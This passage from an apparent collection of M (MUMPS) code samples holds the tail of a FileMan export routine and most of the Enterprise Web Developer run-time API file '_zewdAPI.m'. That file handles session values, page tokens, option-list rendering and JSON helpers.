$D(EV) S V=V_\"^\"_$$EXTERNAL^DILFD(FILE,F,\"\",V)\n D FIELDTAG\n U IO W D_$C(9),$$VALUE(V),!\n I $D(@EGRF)\\10 U IO W D_$C(9),\"; OMITTED CHILDREN\",!\n U IO W D_$C(9),\";\",!\n Q\nFIELDVAL(EGRF,P) ; Extract piece P of node value holding field\n I +P Q $P(@EGRF,\"^\",P)\n I $E(P,1)=\"E\" Q $E(@EGRF,$P($E(P,2,$L(P)),\",\",1),$P(P,\",\",2))\n Q \";UNKNOWN \"\"GLOBAL SUBSCRIPT LOCATION\"\" PIECE \"\"\"_P_\"\"\"\"\n ;\nFILENAME(FILE,FGR) ; Lookup the name of given FILE# (or subfile#)\n I FILE=0 Q $P(@FGR@(0),\"^\") ; DD\n Q $O(^DD(FILE,0,\"NM\",\"\")) ; TODO: Reliable?  Any documented API?\nVALUE(V) ; Write value line to output\n ; TODO: If value starts in one of \" $ ; or contains non-printing\n ; characters then it must be escaped for evaluation on RHS of SET.\n ; TODO: Caller must define indentation level with a comment if\n ; the first character of the first value is a tab or space.\n Q V\n"
  },
  {
    "path": "samples/M/_zewdAPI.m",
    "content": "%zewdAPI\t; Enterprise Web Developer run-time functions and user APIs\n ;\n ; Product: Enterprise Web Developer (Build 944)\n ; Build Date: Fri, 23 Nov 2012 17:15:06\n ; \n ; ----------------------------------------------------------------------------\n ; | Enterprise Web Developer for GT.M and m_apache                           |\n ; | Copyright (c) 2004-12 M/Gateway Developments Ltd,                        |\n ; | Reigate, Surrey UK.                                                      |\n ; | All rights reserved.                                                     |\n ; |                                                                          |\n ; | http://www.mgateway.com                                                  |\n ; | Email: rtweed@mgateway.com                                               |\n ; |                                                                          |\n ; | This program is free software: you can redistribute it and/or modify     |\n ; | it under the terms of the GNU Affero General Public License as           |\n ; | published by the Free Software Foundation, either version 3 of the       |\n ; | License, or (at your option) any later version.                          |\n ; |                                                                          |\n ; | This program is distributed in the hope that it will be useful,          |\n ; | but WITHOUT ANY WARRANTY; without even the implied warranty of           |\n ; | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the            |\n ; | GNU Affero General Public License for more details.                      |\n ; |                                                                          |\n ; | You should have received a copy of the GNU Affero General Public License |\n ; | along with this program.  If not, see <http://www.gnu.org/licenses/>.    |\n ; ----------------------------------------------------------------------------\n ;\n ;QUIT\n ;\n ;\nversion() ;\n QUIT \"Enterprise Web Developer (Build \"_$$getVersion^%zewdCompiler()_\")\"\n ;\ndate() ;\n QUIT $$getDate^%zewdCompiler()\n ;\ncompilePage(app,page,mode,technology,outputPath,multilingual,maxLines)\n d compilePage^%zewdCompiler($g(app),$g(page),$g(mode),$g(technology),$g(outputPath),$g(multilingual),$g(maxLines))\n QUIT\n ;\ncompileAll(app,mode,technology,outputPath,multilingual,templatePageName,maxLines)\n d compileAll^%zewdCompiler($g(app),$g(mode),$g(technology),$g(outputPath),$g(multilingual),$g(templatePageName),$g(maxLines))\n QUIT\n ;\nautoTranslate(app,language,verbose)\n d autoTranslate^%zewdMgr($g(app),$g(language),$g(verbose))\n ;\nstartSession(page,requestArray,serverArray,sessionArray,filesArray) ;\n ;\n QUIT $$startSession^%zewdPHP(page,.requestArray,.serverArray,.sessionArray,.filesArray)\n ;\ncloseSession(requestArray) ;\n ;\n QUIT $$closeSession^%zewdPHP(.requestArray)\n ;\nsaveSession(sessionArray) ;\n ;\n d saveSession^%zewdPHP(.sessionArray)\n QUIT\n ;\nendOfPage(sessionArray)\n ;\n d endOfPage^%zewdPHP(.sessionArray)\n QUIT\n ;\nprePageScript(sessid)\n QUIT $$prePageScript^%zewdPHP(sessid)\n ;\nreleaseLock(sessid)\n d releaseLock^%zewdPHP(sessid)\n QUIT\n ;\ntokeniseURL(url,sessid)\n QUIT $$tokeniseURL^%zewdCompiler16($g(url),$g(sessid))\n ;\ngetSessid(token)\n ;\n i token=\"\" QUIT \"\"\n i $$isTokenExpired(token) QUIT \"\"\n QUIT $p(^%zewdSession(\"tokens\",token),\"~\",1)\n ;\ninitialiseSession(sessid)\n k ^%zewdSession(\"session\",sessid)\n QUIT\n ;\ndeleteSession(sessid)\n ;\n d deleteSession^%zewdPHP(sessid)\n ;\n QUIT\n ;\nchangeApp(appName,sessid)\n i $g(appName)=\"\" QUIT\n i $g(sessid)=\"\" QUIT\n d setSessionValue(\"ewd_appName\",appName,sessid)\n QUIT\n ;\nsetRedirect(toPage,sessid,app)\n i $g(app)'=\"\" d\n . d setSessionValue(\"ewd_appName\",app,sessid)\n d setJump(toPage,sessid,$g(app))\n QUIT\n ;\nsetJump(toPage,sessid,app)\n ;\n n token\n ;\n i $g(app)'=\"\",$e(sessid,1,4)=\"csp:\" d\n . n path\n . s path=$$getRootURL(\"csp\")\n . i $e(path,$l(path))'=\"/\" s path=path_\"/\"\n . s toPage=path_app_\"/\"_toPage\n d setSessionValue(\"ewd_jump\",toPage,sessid)\n d setSessionValue(\"ewd_nextPage\",toPage,sessid)\n QUIT:$e(sessid,1,4)=\"csp:\"\n s token=$$setNextPageToken(toPage,sessid)\n d setSessionValue(\"ewd_pageToken\",token,sessid)\n QUIT\n ;\nsetNextPageToken(nextPage,sessid)\n ;\n n token,length\n ;\n s length=$$getSessionValue(\"ewd_sessid_length\",sessid)\n i length=\"\" s length=30\n i $g(sessid)=\"\" s sessid=0\n f  s token=$$makeTokenString(length) q:'$d(^%zewdSession(\"nextPageTokens\",sessid,token))\n i $g(^zewd(\"trace\"))=1 d trace^%zewdAPI(\"setNextPageToken^%zewdAPI: sessid=\"_sessid_\"; token=\"_token_\"; nextPage=\"_nextPage)\n s ^%zewdSession(\"nextPageTokens\",sessid,token,$$zcvt(nextPage,\"l\"))=\"\"\n QUIT token\n ; \nisNextPageTokenValid(token,sessid,page)\n QUIT $$isNextPageTokenValid^%zewdCompiler13(token,sessid,page)\n ;\nisCSP(sessid)\n QUIT $e(sessid,1,4)=\"csp:\"\n ;\nnormaliseTextValue(text)\n s text=$$replaceAll(text,\"&#39;\",\"'\")\n QUIT $$zcvt(text,\"o\",\"HTML\")\n ;\nwriteLine(line,technology)\n i technology=\"node\" d\n . s ^CacheTempBuffer($j,$increment(^CacheTempBuffer($j)))=line\n e  d\n . w line\n QUIT\n ;\ndisplayOptions(fieldName,listName,escape)\n ;d displayOptions^%zewdCompiler13($g(fieldName),$g(listName),$g(escape))\n n codeValue,%d,i,line,name,nnvp,nvp,pos,technology,textValue,value\n ;\n s technology=$$getSessionValue^%zewdAPI(\"ewd.technology\",sessid)\n s fieldName=$tr(fieldName,\".\",\"_\")\n s listName=$tr(listName,\".\",\"_\")\n i 0\n e  d\n . s escape=+$g(escape)\n . s pos=\"\"\n . f  s pos=$o(^%zewdSession(\"session\",sessid,\"ewd_list\",listName,pos)) q:pos=\"\"  d\n . . k %d,textValue,codeValue,codeValueEsc,textValueEsc\n . . s %d=^%zewdSession(\"session\",sessid,\"ewd_list\",listName,pos)\n . . s textValue=$p(%d,$c(1),1)\n . . ;\n . . s textValueEsc=textValue\n . . i $g(^zewd(\"xssEncoding\")) d\n . . . s textValueEsc=$$htmlOutputEncode^%zewdAPI2(textValueEsc)\n . . e  d \n . . . s textValueEsc=$$replaceAll(textValueEsc,\"&#39;\",\"'\")\n . . . i escape s textValueEsc=$$zcvt(textValue,\"o\",\"HTML\")\n . . ;\n . . s codeValue=$p(%d,$c(1),2)\n . . i codeValue=\"\" s codeValue=textValue\n . . s codeValueEsc=codeValue\n . . i $g(^zewd(\"xssEncoding\")) d\n . . . s codeValueEsc=$$htmlOutputEncode^%zewdAPI2(codeValueEsc)\n . . e  d \n . . . s codeValueEsc=$$replaceAll(codeValueEsc,\"&#39;\",\"'\")\n . . . i escape s codeValueEsc=$$zcvt(codeValue,\"o\",\"HTML\")\n . . s line=\"<option value='\"_codeValueEsc_\"'\"\n . . d writeLine(line,technology)\n . . i $e(fieldName,1)'=\"$\" d\n . . . n fn\n . . . s fn=$tr(fieldName,\"_\",\".\")\n . . . i $$getSessionValue(fn,sessid)=codeValue d  q\n . . . . s line=\" selected='selected'\"\n . . . . d writeLine(line,technology)\n . . . i $d(^%zewdSession(\"session\",sessid,\"ewd_selected\",fieldName,codeValue)) d  q\n . . . . s line=\" selected='selected'\"\n . . . . d writeLine(line,technology)\n . . i $e(fieldName,1)=\"$\" d\n . . . n fieldValue\n . . . s fieldValue=$e(fieldName,2,$l(fieldName))\n . . . s fieldValue=$g(@fieldValue)\n . . . i fieldValue=codeValue d\n . . . . s line=\" selected='selected'\"\n . . . . d writeLine(line,technology)\n . . s nnvp=$l(%d,$c(1))\n . . f i=3:1:nnvp d\n . . . s nvp=$p(%d,$c(1),i)\n . . . i nvp=\"\" q\n . . . s name=$p(nvp,$c(3),1)\n . . . s value=$p(nvp,$c(3),2)\n . . . s line=\" \"_name_\"='\"_value_\"'\"\n . . . d writeLine(line,technology)\n . . s line=\">\"_textValueEsc_\"</option>\"_$c(13,10)\n . . d writeLine(line,technology)\n QUIT\n ;\ndisplayTextArea(fieldName)\n d displayTextArea^%zewdCompiler13($g(fieldName))\n QUIT\n ;\nmCSPReq2(fields)\n ;\n n i,noOfFields,field,type\n s noOfFields=$l(fields,\"`\")\n f i=1:1:noOfFields d\n . s field=$p(fields,\"`\",i)\n . q:field=\"\"\n . s type=$p(field,\"|\",2)\n . S field=$P(field,\"|\",1)\n . d mergeCSPRequestToSession(field,type)\n d mergeCSPRequestToSession(\"ewd_pressed\",\"hidden\")\n QUIT\n ;\nmCSPReq(fieldName,type)\n d mergeCSPRequestToSession(fieldName,type)\n QUIT\n ;\nmergeCSPRequestToSession(fieldName,type)\n d mergeCSPRequestToSession^%zewdCompiler16($g(fieldName),$g(type))\n QUIT\n ;\n ; note - textarea data storage can be queried using SQL with the following construct\n ; \n ; listAttributeFL {type=%Library.String ; sqllisttype=subnode}\n ;\ndisplayText(textID,reviewMode,sessid)\n\tQUIT $$displayText^%zewdCompiler13($g(textID),$g(reviewMode),$g(sessid))\n\t;\nsystemMessage(text,type,sessid,appName,langCode)\n n textid,fragments,outputText,error,technology,translationMode,typex\n ;\n ;d trace^%zewdAPI(\"systemMessage : text=\"_text_\" ; type=\"_type_\" ; sessid=\"_sessid)\n i $g(text)=\"\" QUIT \"\"\n ; manual API or where sessid not known\n i $g(sessid)=\"\" QUIT $$systemMessage^%zewdCompiler5(text,$g(type),$g(appName),$g(langCode))\n s translationMode=+$$getSessionValue^%zewdAPI(\"ewd_translationMode\",sessid)\n ;d trace^%zewdAPI(\"ewd_translationMode=\"_translationMode)\n i 'translationMode QUIT text\n s appName=$$getSessionValue^%zewdAPI(\"ewd_appName\",sessid)\n ;d trace^%zewdAPI(\"appName=\"_appName)\n s typex=type ; avoid Cache bug !\n i $$getPhraseIndex^%zewdCompiler5(text)=\"\" QUIT \"\"\n i '$$isTextPreviouslyFound^%zewdCompiler5(text,appName,\"\",\"\",.textid,,,type) d\n . s textid=$$addTextToIndex^%zewdCompiler5(text,appName,\"\",\"\",.fragments,.outputText,typex)\n s error=$$displayText(textid,0,sessid)\n QUIT error\n ;\nerrorMessage(text,sessid)\n QUIT $$systemMessage(text,\"error\",sessid)\n ;\n ; ============================================================================\n ;   User API Methods\n ; ============================================================================\n ;\nisCSPPage(docOID)\n ;\n n docName\n ;\n s docName=$$getDocumentName^%zewdDOM(docOID)\n QUIT $$bypassMode^%zewdCompiler(docName)\n ;\ngetSessionValue(name,sessid)\n ;\n n %zt,return,technology,value\n ;\n s name=$$stripSpaces(name)\n i $g(name)=\"\" QUIT \"\"\n i $g(sessid)=\"\" QUIT \"\"\n i name[\".\" d  QUIT value\n . n np,obj,prop\n . i name[\"_\" s name=$p(name,\"_\",1)_\".\"_$p(name,\"_\",2,200)\n . s np=$l(name,\".\")\n . s obj=$p(name,\".\",1,np-1)\n . s prop=$p(name,\".\",np)\n . s value=$$getSessionObject(obj,prop,sessid)\n ;s $zt=\"extcErr\"\n ;i $r(100)<10 i '$$$licensed(\"DOM\",,,,,,,,,,) d setWarning(\"You do not have a current eXtc License\",sessid)\n ;i $$isTemp(name) d  QUIT value\n i $e(name,1,4)=\"tmp_\" d  QUIT value\n . s value=$g(zewdSession(name))\n . i value=\"\",$g(^%zewdSession(\"session\",sessid,\"ewd_technology\"))=\"gtm\" s value=$g(sessionArray(name))\n QUIT $g(^%zewdSession(\"session\",sessid,name))\n ;\nsetWLDSymbol(name,sessid)\n ;\n ;  ------------------------------------------------------\n ;  Duplicate copy for performance: see also %zewdPHP!\n ;  ------------------------------------------------------\n ;\n n wldAppName,wldName,wldSessid,%zzname\n ;\n QUIT:$zv[\"GT.M\"\n QUIT\n ;\nextcErr\n ;\n n mess\n s mess=\"eXtc does not appear to have been installed or is unavailable in the \"_$$namespace()_\" namespace where your application is attempting to run.  Your application will be unable to run correctly\"\n d setWarning(mess,sessid)\n s $zt=%zt\n QUIT \"\"\n ;\nvalueErr ;\n s $zt=$g(%zt)\n QUIT \"\"\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nexportCustomTags(tagList,filepath)\n QUIT $$exportCustomTags^%zewdCompiler16(.tagList,$g(filepath))\n ;\nexportAllCustomTags(filepath)\n QUIT $$exportAllCustomTags^%zewdCompiler16($g(filepath))\n ;\nimportCustomTags(filePath)\n QUIT $$importCustomTags^%zewdForm($g(filePath))\n ;\nsetSessionValue(name,value,sessid)\n ;\n s name=$$stripSpaces(name)\n i $g(name)=\"\" QUIT\n i $g(sessid)=\"\" QUIT\n i name[\".\" d  QUIT\n . n np,obj,prop\n . i name[\"_\" s name=$p(name,\"_\",1)_\".\"_$p(name,\"_\",2,200)\n . s np=$l(name,\".\")\n . s obj=$p(name,\".\",1,np-1)\n . s prop=$p(name,\".\",np)\n . d setSessionObject(obj,prop,value,sessid)\n s value=$g(value)\n i $e(name,1,4)=\"tmp_\" s zewdSession(name)=value QUIT\n s ^%zewdSession(\"session\",sessid,name)=value\n QUIT\n ;\nallowJSONAccess(sessionName,access,sessid)\n ; access=\"r|rw\"\n s ^%zewdSession(\"jsonAccess\",sessid,sessionName)=access\n QUIT\n ;\ndisallowJSONAccess(sessionName,sessid)\n k ^%zewdSession(\"jsonAccess\",sessid,sessionName)\n QUIT\n ;\nJSONAccess(sessionName,sessid)\n QUIT $g(^%zewdSession(\"jsonAccess\",sessid,sessionName))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nisTemp(name)\n QUIT $e(name,1,4)=\"tmp_\"\n ;\n ;\nexistsInSession(name,sessid)\n QUIT $$existsInSession^%zewdCompiler13($g(name),$g(sessid))\n ;\nexistsInSessionArray(name,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10,p11)\n QUIT $$existsInSessionArray^%zewdCompiler13($g(name),$g(p1),$g(p2),$g(p3),$g(p4),$g(p5),$g(p6),$g(p7),$g(p8),$g(p9),$g(p10),$g(p11))\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nclearSessionArray(arrayName,sessid)\n s arrayName=$$stripSpaces(arrayName)\n i $g(sessid)=\"\" QUIT\n i $g(arrayName)=\"\" QUIT\n s arrayName=$tr(arrayName,\".\",\"_\")\n ;i $$isTemp(arrayName) k zewdSession(arrayName) QUIT\n i $e(arrayName,1,4)=\"tmp_\" k zewdSession(arrayName) QUIT\n k ^%zewdSession(\"session\",sessid,arrayName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nsetSessionArray(arrayName,itemName,itemValue,sessid)\n ;\n s arrayName=$$stripSpaces(arrayName)\n QUIT:$g(arrayName)=\"\"\n QUIT:$g(itemName)=\"\"\n QUIT:$g(sessid)=\"\"\n s arrayName=$tr(arrayName,\".\",\"_\")\n i $$isTemp(arrayName) s zewdSession(arrayName,itemName)=itemValue QUIT\n s ^%zewdSession(\"session\",sessid,arrayName,itemName)=itemValue\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetSessionArray(arrayName,sessid,array,clearArray)\n ;\n s arrayName=$$stripSpaces(arrayName)\n QUIT:$g(arrayName)=\"\"\n s arrayName=$tr(arrayName,\".\",\"_\")\n QUIT:$g(sessid)=\"\"\n set $zt=\"getSessionArrayErr\"\n i $g(clearArray)=1 k array\n i $$isTemp(arrayName) m array=zewdSession(arrayName) QUIT\n m array=^%zewdSession(\"session\",sessid,arrayName)\n QUIT\n ;\ngetSessionArrayErr ; --- Come here if error occurred in 'getSessionArray' ---\n set $zt=\"\"\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\naddToSession(name,sessid)\n s name=$$stripSpaces(name)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(name)=\"\"\n s name=$tr(name,\".\",\"_\")\n i $$isTemp(name) m zewdSession(name)=@name QUIT\n m ^%zewdSession(\"session\",sessid,name)=@name\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeToSession(name,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(name)=\"\"\n d addToSession(name,sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeGlobalToSession(globalName,sessionName,sessid)\n d mergeGlobalToSession^%zewdCompiler13($g(globalName),$g(sessionName),$g(sessid))\n QUIT\n ;\nmergeGlobalFromSession(globalName,sessionName,sessid)\n d mergeGlobalFromSession^%zewdCompiler13($g(globalName),$g(sessionName),$g(sessid))\n QUIT\n ;\nmergeArrayToSession(array,sessionName,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(sessionName)=\"\"\n s sessionName=$tr(sessionName,\".\",\"_\")\n ;i $$isTemp(sessionName) m zewdSession(sessionName)=array QUIT\n i $e(sessionName,1,4)=\"tmp_\" m zewdSession(sessionName)=array QUIT\n m ^%zewdSession(\"session\",sessid,sessionName)=array\n QUIT\n ;\nmergeArrayToSessionObject(array,sessionName,sessid)\n d mergeArrayToSessionObject^%zewdCompiler16(.array,$g(sessionName),$g(sessid))\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeArrayFromSession(array,sessionName,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(sessionName)=\"\"\n s sessionName=$tr(sessionName,\".\",\"_\")\n ;i $$isTemp(sessionName) m array=zewdSession(sessionName) QUIT\n i $e(sessionName,1,4)=\"tmp_\" m array=zewdSession(sessionName) QUIT\n m array=^%zewdSession(\"session\",sessid,sessionName)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nmergeFromSession(name,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(name)=\"\"\n s name=$tr(name,\".\",\"_\")\n i $$isTemp(name) m @name=zewdSession(name)\n m @name=^%zewdSession(\"session\",sessid,name)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ndeleteFromSession(name,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(name)=\"\"\n i name[\".\" d  QUIT\n . n np,obj,prop\n . s np=$l(name,\".\")\n . s obj=$p(name,\".\",1,np-1)\n . s prop=$p(name,\".\",np)\n . d deleteFromSessionObject(obj,prop,sessid)\n ;i $$isTemp(name) k zewdSession(name) QUIT\n i $e(name,1,4)=\"tmp_\" k zewdSession(name) QUIT\n k ^%zewdSession(\"session\",sessid,name)\n QUIT\n ;\nsessionNameExists(name,sessid)\n QUIT:$g(sessid)=\"\"\n QUIT:$g(name)=\"\"\n s name=$tr(name,\".\",\"_\")\n i $$isTemp(name) QUIT $d(zewdSession(name))\n QUIT $d(^%zewdSession(\"session\",sessid,name))\n ;\ngetSessionArrayValue(arrayName,subscript,sessid,exists)\n QUIT $$getSessionArrayValue^%zewdCompiler13($g(arrayName),$g(subscript),$g(sessid),.exists)\n ;\nsessionArrayValueExists(arrayName,subscript,sessid)\n QUIT $$sessionArrayValueExists^%zewdCompiler13($g(arrayName),$g(subscript),$g(sessid))\n ;\ndeleteSessionArrayValue(arrayName,subscript,sessid)\n d deleteSessionArrayValue^%zewdCompiler13($g(arrayName),$g(subscript),$g(sessid))\n QUIT\n ;\n ; Objects\n ;\nsetSessionObject(objectName,propertyName,propertyValue,sessid)\n ;d setSessionObject^%zewdCompiler13($g(objectName),$g(propertyName),$g(propertyValue),$g(sessid))\n ;QUIT\n\t;\n\tn comma,i,np,p,sessionArray,x\n\t;\n\ti $g(objectName)=\"\" QUIT\n\ti $g(propertyName)=\"\" QUIT\n\t;i $g(propertyValue)=\"\" QUIT\n\ti $g(sessid)=\"\" QUIT\n    s np=$l(objectName,\".\")\n    ;s objectName=$$replace(objectName,\".\",\"_\")\n    i objectName[\".\" s objectName=$p(objectName,\".\",1)_\"_\"_$p(objectName,\".\",2,2000)\n    i np=1 d  QUIT\n\t. i $e(objectName,1,3)=\"tmp\" s zewdSession(objectName_\"_\"_propertyName)=propertyValue  q\n\t. s ^%zewdSession(\"session\",sessid,(objectName_\"_\"_propertyName))=propertyValue\n    ;\n    f i=1:1:np-1 s p(i)=$p(objectName,\".\",i)\n    s comma=\",\"\n    i $e(objectName,1,4)=\"tmp_\" d\n    . s x=\"s zewdSession(\",comma=\"\"\n\te  d\n    . s x=\"s ^%zewdSession(\"\"session\"\",\"\"\"_sessid_\"\"\"\"\n    i propertyValue[\"\"\"\" d\n    . s propertyValue=$$replaceAll^%zewdAPI(propertyValue,\"\"\"\",$c(4))\n    . s propertyValue=$$replaceAll^%zewdAPI(propertyValue,$c(4),\"\"\"\"\"\")\n    f i=1:1:np-1 s x=x_comma_\"\"\"\"_p(i)_\"\"\"\",comma=\",\"\n    s x=x_\",\"\"\"_propertyName_\"\"\")=\"\"\"_propertyValue_\"\"\"\"\n    x x\n    QUIT\n ;\ngetSessionObject(objectName,propertyName,sessid)\n    ;\n    n i,np,p,value,x\n    ;\n    i $g(sessid)=\"\" QUIT \"\"\n    s value=\"\"\n    s np=$l(objectName,\".\")\n    i objectName[\".\",objectName'[\"_\" s objectName=$p(objectName,\".\",1)_\"_\"_$p(objectName,\".\",2,2000)\n    ;s objectName=$$replace(objectName,\".\",\"_\")\n    i np=1 QUIT $g(^%zewdSession(\"session\",sessid,(objectName_\"_\"_propertyName)))\n    ;\n    f i=1:1:np-1 s p(i)=$p(objectName,\".\",i)\n    s x=\"s value=$g(^%zewdSession(\"\"session\"\",\"\"\"_sessid_\"\"\"\"\n    f i=1:1:np-1 s x=x_\",\"\"\"_p(i)_\"\"\"\"\n    s x=x_\",\"\"\"_propertyName_\"\"\"))\"\n    x x\n    QUIT value\n    ;\ndeleteFromSessionObject(objectName,propertyName,sessid)\n d deleteFromSessionObject^%zewdCompiler13($g(objectName),$g(propertyName),$g(sessid))\n QUIT\n ;\nsessionObjectPropertyExists(objectName,propertyName,sessid)\n QUIT $$sessionObjectPropertyExists^%zewdCompiler13($g(objectName),$g(propertyName),$g(sessid))\n ;\ndeleteSessionObject(objectName,sessid)\n n obj\n s obj=objectName\n i obj[\".\" s obj=$tr(obj,\".\",\"_\")\n i obj'[\"_\" s obj=obj_\"_\"\n d clearSessionByPrefix(obj,$g(sessid))\n ;d deleteSessionObject^%zewdCompiler13($g(objectName),$g(sessid))\n QUIT\n ;\ncopyObjectToSession(oref,objectName,sessid)\n d copyObjectToSession^%zewdCompiler13($g(oref),$g(objectName),$g(sessid))\n QUIT\n ;\ncopyResultSetToSession(oref,objectName,sessid)\n d copyResultSetToSession^%zewdCompiler13($g(oref),$g(objectName),$g(sessid))\n QUIT\n ;\ngetResultSetValue(resultSetName,index,propertyName,sessid)\n QUIT $$getResultSetValue^%zewdCompiler13($g(resultSetName),$g(index),$g(propertyName),$g(sessid))\n ;\naddToResultSet(sessionName,propertyName,value,sessid)\n d addToResultSet^%zewdCompiler13($g(sessionName),$g(propertyName),$g(value),$g(sessid))\n QUIT\n ;\nmergeRecordArrayToResultSet(sessionName,recordArray,sessid)\n d mergeRecordArrayToResultSet^%zewdCompiler13($g(sessionName),.recordArray,$g(sessid))\n QUIT\n ;\nJSONToSessionObject(objectName,jsonString,sessid)\n d JSONToSessionObject^%zewdCompiler13($g(objectName),$g(jsonString),$g(sessid))\n QUIT\n ;\nsessionObjectToJSON(objectName,sessid)\n QUIT $$sessionObjectToJSON^%zewdCompiler13($g(objectName),$g(sessid))\n ;\nobjectGlobalToJSON(objectName)\n QUIT $$objectGlobalToJSON^%zewdCompiler13($g(objectName))\n ;\nsaveJSON(objectName,jsonString)\n QUIT $$saveJSON^%zewdCompiler13($g(objectName),$g(jsonString))\n ;\ngetJSON(objectName,addRefCol)\n QUIT $$getJSON^%zewdCompiler13($g(objectName),$g(addRefCol))\n ;\nsetJSONValue(JSONName,objectName,sessid)\n d setJSONValue^%zewdCompiler16($g(JSONName),$g(objectName),$g(sessid))\n d allowJSONAccess(objectName,\"r\",sessid)\n QUIT\n ;\nconvertToJSON(arrayName,isExtJS)\n n dojo\n i '$d(@arrayName) QUIT \"\"\n s dojo=\"\"\n i $g(isExtJS)=1 s dojo=2\n QUIT $$walkArray^%zewdCompiler13(\"\",arrayName,dojo)\n ;\nmergeToJSObject(sessionObject,JSObject)\n QUIT $$mergeToJSObject^%zewdCompiler13($g(sessionObject),$g(JSObject),$g(sessid))\n ;\n ; Javascript objects\n ;\ngetJavascriptObjectBlock(objectName,docName,textArray)\n QUIT $$getJavascriptObjectBlock^%zewdCompiler13($g(objectName),$g(docName),.textArray)\n ;\nreplaceJavascriptObject(objectName,newFunctionText,docName)\n QUIT $$replaceJavascriptObject^%zewdCompiler13($g(objectName),$g(newFunctionText),$g(docName))\n ;\nreplaceJavascriptObjectBody(functionName,newBody,docName)\n QUIT $$replaceJavascriptObjectBody^%zewdCompiler13($g(functionName),$g(newBody),$g(docName))\n ;\ngetJavascriptObjectBody(functionName,docName)\n QUIT $$getJavascriptObjectBody^%zewdCompiler13($g(functionName),$g(docName))\n ;\ngetJavascriptObject(objectName,docName,eOID)\n QUIT $$getJavascriptObject^%zewdCompiler13($g(objectName),$g(docName),$g(eOID))\n ;\njavascriptObjectExists(objectName,docName)\n QUIT $$javascriptObjectExists^%zewdCompiler13($g(objectName),$g(docName))\n ;\ngetLastJavascriptTag(docName,textArray)\n QUIT $$getLastJavascriptTag^%zewdCompiler13($g(docName),.textArray)\n ;\naddJavascriptObject(docName,jsText)\n QUIT $$addJavascriptObject^%zewdCompiler13($g(docName),.jsText)\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\nsetSessionValues(nvArray,sessid)\n ;\n QUIT:$g(sessid)=\"\"\n n name,no,value\n s name=\"\"\n f  s name=$o(nvArray(name)) q:name=\"\"  d\n . d deleteFromSession(name,sessid)\n . d clearSelected(name,sessid)\n . s value=$g(nvArray(name))\n . d setSessionValue(name,value,sessid)\n . s no=\"\"\n . f  s no=$o(nvArray(name,no)) q:no=\"\"  d\n . . s value=nvArray(name,no)\n . . d addToSelected(name,value,sessid)\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetSessionValues(prefix,nvArray,sessid)\n ;\n n len,name,no,value\n QUIT:$g(sessid)=\"\"\n QUIT:$g(prefix)=\"\"\n set $zt=\"getSessionValuesErr\"\n s len=$l(prefix)\n k nvArray\n s name=prefix\n f  s name=$o(^%zewdSession(\"session\",sessid,name)) q:name=\"\"  q:$e(name,1,len)'=prefix  d\n . d setNVArray(name,.nvArray,sessid)\n s name=prefix,no=0\n f  s name=$o(^%zewdSession(\"session\",sessid,\"ewd_selected\",name)) q:name=\"\"  q:$e(name,1,len)'=prefix  d\n . s value=\"\"\n . f  s value=$o(^%zewdSession(\"session\",sessid,\"ewd_selected\",name,value)) q:value=\"\"  d\n . . s no=no+1\n . . s nvArray(name,no)=value\n QUIT\n ;\ngetSessionValuesErr ; --- Come here if error occurred in 'getSessionValues' ---\n set $zt=\"\"\n QUIT\n ;\n ;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n ;\ngetSessionValuesByPrefix(prefix,sessid)\n ;\n n len,name\n QUIT:$g(sessid)=\"\"\n QUIT:$g(prefix)=\"\"\n s prefix=$tr(prefix,\".\",\"_\")\n set $zt=\"getSessionValuesByPrefixErr\"\n s len=$l(prefix)\n s 